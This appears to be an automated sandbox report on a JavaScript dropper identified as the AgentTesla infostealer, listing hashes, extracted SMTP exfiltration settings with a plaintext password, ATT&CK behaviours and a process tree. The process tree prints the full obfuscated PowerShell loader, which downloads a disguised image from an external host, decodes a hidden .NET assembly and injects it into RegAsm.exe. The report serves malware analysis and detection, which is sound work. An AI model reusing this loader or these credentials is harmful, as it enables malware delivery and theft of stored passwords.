Analysis
-
max time kernel
115s -
max time network
145s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
21-01-2025 15:44
Static task
static1
Behavioral task
behavioral1
Sample
codes.js
Resource
win7-20240903-en
General
-
Target
codes.js
-
Size
73KB
-
MD5
99ea1ce1d4123a7538e0810d2bb919b8
-
SHA1
ec8ee7dc4ea3ce0045f1a6569b945f586aeaf7cf
-
SHA256
f6f06d960291d57697aaba85675aad68e6c677b91ef42d1a04ad84a3e9b54a30
-
SHA512
210cf92fc65479b91a2874b60b14bf599a356a392c066f41501d571e8182fc2eb938217be20fdf6196d7cb20e53bb90698509b2c16c7e5c0ad630aa930cb939b
-
SSDEEP
1536:y54izQ6VsYh/t5MKvJIp4LkWnwK7mMcAtRwK9t:yRzQ6V1/vVld
Malware Config
Extracted
https://res.cloudinary.com/drqpeaaky/image/upload/v1737456477/b6fxidzmtogras7c2a5j.jpg%20
https://res.cloudinary.com/drqpeaaky/image/upload/v1737456477/b6fxidzmtogras7c2a5j.jpg%20
Extracted
Protocol: smtp- Host:
novida.com.br - Port:
587 - Username:
[email protected] - Password:
joymywife12345PT
Extracted
agenttesla
Protocol: smtp- Host:
novida.com.br - Port:
587 - Username:
[email protected] - Password:
joymywife12345PT - Email To:
[email protected]
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Agenttesla family
-
Blocklisted process makes network request 2 IoCs
flow pid Process 9 4300 powershell.exe 22 4300 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation wscript.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
pid Process 4300 powershell.exe -
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 24 api.ipify.org 25 api.ipify.org 26 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4300 set thread context of 4448 4300 powershell.exe 91 -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegAsm.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 4300 powershell.exe 4300 powershell.exe 4300 powershell.exe 4300 powershell.exe 4300 powershell.exe 4300 powershell.exe 4448 RegAsm.exe 4448 RegAsm.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4300 powershell.exe Token: SeDebugPrivilege 4448 RegAsm.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4448 RegAsm.exe -
Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 1752 wrote to memory of 4300 1752 wscript.exe 82 PID 1752 wrote to memory of 4300 1752 wscript.exe 82 PID 4300 wrote to memory of 4348 4300 powershell.exe 89 PID 4300 wrote to memory of 4348 4300 powershell.exe 89 PID 4300 wrote to memory of 4348 4300 powershell.exe 89 PID 4300 wrote to memory of 228 4300 powershell.exe 90 PID 4300 wrote to memory of 228 4300 powershell.exe 90 PID 4300 wrote to memory of 228 4300 powershell.exe 90 PID 4300 wrote to memory of 4448 4300 powershell.exe 91 PID 4300 wrote to memory of 4448 4300 powershell.exe 91 PID 4300 wrote to memory of 4448 4300 powershell.exe 91 PID 4300 wrote to memory of 4448 4300 powershell.exe 91 PID 4300 wrote to memory of 4448 4300 powershell.exe 91 PID 4300 wrote to memory of 4448 4300 powershell.exe 91 PID 4300 wrote to memory of 4448 4300 powershell.exe 91 PID 4300 wrote to memory of 4448 4300 powershell.exe 91
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\codes.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1752 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = 'K3YVb/sr.e#sap//:sp##h';$restoredText = $originalText -replace '#', 't';$moralizer = 'https://res.cloudinary.com/drqpeaaky/image/upload/v1737456477/b6fxidzmtogras7c2a5j.jpg ';$carmaker = New-Object System.Net.WebClient;$jhoom = $carmaker.DownloadData($moralizer);$dialogues = [System.Text.Encoding]::UTF8.GetString($jhoom);$roily = '<<BASE64_START>>';$fugues = '<<BASE64_END>>';$noncatalog = $dialogues.IndexOf($roily);$documentarist = $dialogues.IndexOf($fugues);$noncatalog -ge 0 -and $documentarist -gt $noncatalog;$noncatalog += $roily.Length;$modifier = $documentarist - $noncatalog;$Indianization = $dialogues.Substring($noncatalog, $modifier);$acetifications = -join ($Indianization.ToCharArray() | ForEach-Object { $_ })[-1..-($Indianization.Length)];$romalea = [System.Convert]::FromBase64String($acetifications);$resend = [System.Reflection.Assembly]::Load($romalea);$jickajog = [dnlib.IO.Home].GetMethod('VAI');$jickajog.Invoke($null, @($restoredText, 'glistens', 'glistens', 'glistens', 'RegAsm', 'glistens', 'glistens','glistens','glistens','glistens','glistens','glistens','1','glistens','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4300 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵PID:4348
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵PID:228
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4448
-
-
Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
4Credentials In Files
3Credentials in Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82